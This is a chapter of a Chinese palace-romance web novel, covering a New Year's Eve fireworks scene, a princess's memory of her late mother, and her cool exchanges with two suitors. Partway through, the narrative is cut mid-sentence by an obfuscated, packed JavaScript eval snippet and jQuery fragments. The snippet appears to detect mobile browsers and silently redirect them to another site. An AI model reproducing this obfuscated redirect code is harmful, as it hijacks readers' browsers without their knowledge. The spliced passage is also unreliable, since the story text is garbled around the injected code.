27. 喜炮

作品:《偏执女君折他骨

    快要到亥时的时候,众人走出大殿,齐聚在保和殿前面。


    宫灯辉映,殿阶两侧的空地上铺满了辞旧迎新的喜炮。


    圣上站在人群的最前头,晏玺就陪在他身边。


    左济站的位置靠后,他隔着攒动的人头寻找着那道红色的身影。不想下一瞬,他寻找的人就这么直直地站在了他的面前。


    他还没有来得及平复一下紧张的心情,广场中央喧天的鼓声便响了起来。接着掌仪太监高声道:“吉时已到。”


    话音刚落,众人皆仰首观天,屏息等待着。


    内侍们闻声而动,躬身将香柱探向殿阶两侧的喜炮。


    药捻发出一片碎碎的“嗤”声。


    下一瞬,“嘭”声过后,无数道金色的光破筒而出,直直地朝着天上飞去。随后,金花在漆黑的夜空中绽放开来,金雨落下,美得让人挪不开眼。百子炮炸响,噼啪不绝,震耳欲聋。各色烟花将整个夜空渲染得如白天一样亮。


    此起彼伏的赞叹声响起:


    “真真是漂亮极了!”


    “是呀是呀!”


    “宫里烟花匠人的手艺,越发精绝了。”


    孩童们天真烂漫地惊呼道:


    “娘亲,天上的花比御花园的还大!”


    “娘亲,又响又亮,我的耳朵嗡嗡的!”


    晏玺笑得灿烂,“真真是火树银花不夜天!父皇仁德感天,今年这祥瑞之象,尤胜往年啊!”


    圣上听后朗声大笑道:“玺儿最会讨朕欢心了。”


    ……


    晏棠平静的眼眸里倒映着明明灭灭的光亮。


    身后的问画忍不住赞叹道:“殿下,今年的烟花真是好看得紧。”


    晏棠轻轻一笑,淡淡地接了一句:“是不错。”


    不过,今夜的烟花与她记忆中的比起来却逊色许多。她见过比这漂亮百倍千倍的烟花。


    耳边噼啪不绝的烟花爆炸声带着她回到了十年前的那个除夕宴……


    母后将她抱在怀里,温柔地笑着问她:“棠儿,你喜欢这满天的花吗?”


    那声音软得像云,暖得像春水。


    那时,她高兴地拍着手,“喜欢喜欢!是可以飞上天,还会发光的花!好像星星一样!”


    “哈哈哈,我的乖棠儿……”


    年幼的她用胖乎乎的手指想要去抓夜空里的烟花。


    “母后,你让人把金花摘下来给我,好不好?我要放在枕头边。”


    母后将她搂得更紧了些,用指尖轻轻点了点她的小鼻尖,“傻棠儿,那花儿啊,是摘不下来的,它们在天上开得那般好看,就是要让我的棠儿,还有这天下许许多多的人,一起看着高兴的。”


    随后,母后握着她的手指向天空,“棠儿,你看,这些金花已经留在你的眼睛里了……”


    “嗤!”


    “嘭!”


    响亮的爆炸声将晏棠从温暖的记忆里拉了回来,母后温暖的怀抱消失了,她的肩头凉凉的。


    她多想和母后说一句话。


    “母后,那些金花不但留在了我的眼睛里,还一直留在了我的心里。”


    可惜,她没有机会再告诉母后这件事了。


    借着烟花的光亮,问画注意到晏棠眉间有几分化不开的怅然,想转移她的思绪,便轻声道:“殿下,在棠华宫可以看到这儿的烟花吗?”


    晏棠收起不合时宜的怅然,淡淡地应道:“能。”


    左济看得见晏棠的半张脸,他看得分明,一抹悲伤划过了她的脸庞。


    奇怪的是,那抹悲伤从她的脸上离开后好像悄悄地爬上了他的心头,让他的心泛起丝丝缕缕的疼……


    问画雀跃道:“那司祁也是可以看到这儿的烟花了。”


    随后她顿了顿,语气中的雀跃少了一半:“不过……她看到的应当不如这里的漂亮……”


    晏棠听着她的话,不由得想到了温尽光,他此刻在棠华宫做什么呢?也在看烟花吗?


    她忽然想回棠华宫了……


    耳边的“嗤”“嘭”声渐渐消失了,夜空中的星火光也暗去了,


    掌仪太监宣告礼成,众人在圣上走后才依次离开保和殿。


    晏棠走出保和殿的大门时,忽有细细的碎雪从天上落下来,问画忙吩咐侍从去取伞来。


    下一瞬,左济忽而出现在了晏棠的眼前,他躬身行礼,手中持着一柄天青色无的油纸伞,伞面干净,尚未沾雪。


    左济递上手中的伞,言语恭敬:“雪疾易寒,殿下若不嫌弃,可用此伞暂蔽。”


    晏棠的目光淡淡地落在拿把伞上,“不必,这伞,还是左大人留着自己用。”


    左济收回手中的伞,垂眸道:“是臣冒昧。”


    “妹妹,左大人一片好意,你倒好,半点不领情。”晏玺搭着侍女的手,袅袅婷婷走近。


    晏棠并不想在此与他们二人逗留,恰巧取伞的侍从气喘吁吁跑回来了。


    “回宫。”晏棠命令道。


    宫道已经被染成了素白色。伞在晏棠的发顶撑开,将雪隔绝开来。


    问画正要将晏棠扶上步辇时,左济忽而开口道:“殿下,新春纳福,顺颂时祺。”


    晏棠动作不停,稳稳地坐上步辇后轻轻地摆了摆手。


    随后,问画心头一凛转身面向左济微微福身道:“左大人的祝颂,殿下听到了。”


    说罢,她不再多言一句,利落地转身走近步辇,低声吩咐:“起驾。”


    左济缓缓直起身,望着步辇消失在宫道尽头。


    晏玺看着他的脸上没有一丝难堪的神色,莫名地有些不爽,目光似是感慨地望向晏棠离去的方向,那里只余风雪。


    “我这妹妹啊……”她轻轻叹了口气,“性子是特别了些,不喜旁人过于亲近。”


    她顿了顿,继续开口道:“方才左大人一番好意,本宫都看在眼里,宫里上下,也都知晓她这脾气。”


    左济收回目光,“殿下说笑了,臣方才所言,不过是新春佳节,臣子的祝颂本分,二殿下如何待下,自有她的道理,臣等只需恪守臣节,做好分内之事,不敢妄加揣测,亦不敢有丝毫怨怼之心。”


    他的心底有一处,清晰地映着另一番景象。


    虽然他也不算真正地了解她。可在他眼中,她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082895|194924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骄矜聪慧,非池中物,所谋所求皆清醒。


    她的性子虽然比常人冷了些,可她心地善良,深明大义,嫉恶如仇。


    她为宫女讨公道,在稽查处干实事,剔除了多少积年的敷衍与油滑。


    晏玺脸上依旧挂着温婉的笑容,眼底却掠过一丝不快,她微微颔首:“左大人明白就好,本宫也是多嘴了,总归是自家姐妹,盼着她好,雪大了,左大人快些出宫吧,路上当心。”


    “谢殿下关怀,微臣告退。”左济行礼,后退两步,方才转身,撑着那把天青色的伞,步入漫天风雪之中。


    他的耳边除了风声和雪声,还有晏棠方才的话:“不必,这伞,还是左大人留着自己用。”


    她对他,是这般地礼貌,又是这般地疏离……


    步辇还未完全行至棠华宫宫门前的时候,隔着帘子,晏棠看到了一道绯红色的身影。


    她一时有些不确定是不是温尽光,因为他甚少会穿这个颜色的衣裳。


    算起来,她只见过两次。一次是不久前在仰灿那夜,他穿着红色纱料的衣裳,破碎勾人,与她在马车上荒唐一夜。


    另外一次便是现在,他像团火一般,以翘首以盼的姿态,在棠华宫宫门前晃荡着身子。


    她还未落辇,那团红得似火的身影便飘到了她的跟前。


    温尽光的语气里是止不住地雀跃:“阿棠,你回来了。”


    问画才掀开帘子,他便把掌心摊开在她的面前,“阿棠,我扶你下来。”


    这下晏棠看得真切,真的是温尽光,他真的穿了绯红色的衣裳。


    温尽光朝着晏棠眨了眨眼睛,“阿棠,你为何这般盯着我?”


    晏棠移开目光,缓缓地走下步辇,随后留下“自恋”两个字便径直朝着宫里走去。


    温尽光收回摊在空中的手,从问画手中拿过伞,连忙跟了上去。


    “阿棠,你等等我。”


    问画狐疑地开口问道:“温公子今日为何穿成这个样子?”


    “我也不知道,许是新年,便想穿的喜庆些吧。”司祁应道。


    随后,她又补充道:“你是不知道,今夜这温公子像只大鹅似的,梗着脖子在宫门口站了快两个时辰。”


    问画听后捂着嘴笑起来,司祁也跟着笑起来,两个人一边笑一边往宫里走。


    在回廊处,司祁送了一个锦囊给问画。


    “诶,这是什么?”


    “送你的,岁礼。”


    问画也拿出了一个小盒子递给司祁,“喏,真巧,我也给你准备了一份岁礼。”


    ……


    温尽光跟着晏棠走进钟磬殿里,他为她解下披风。


    “阿棠,我们俩今夜穿的是同一个色系,真是……”


    “般配”二字还未说出口,晏棠便出言道:“学人精。”


    这三个字说出口的时候殿里的空气突然安静了一瞬。


    晏棠自己也愣了一下,她怎么会说这种话?


    温尽光的脸上挂着晃眼的笑容,原来她……也会说这样的俏皮话。


    他上前半步,语气欣然:“阿棠说的对,我是学人精。”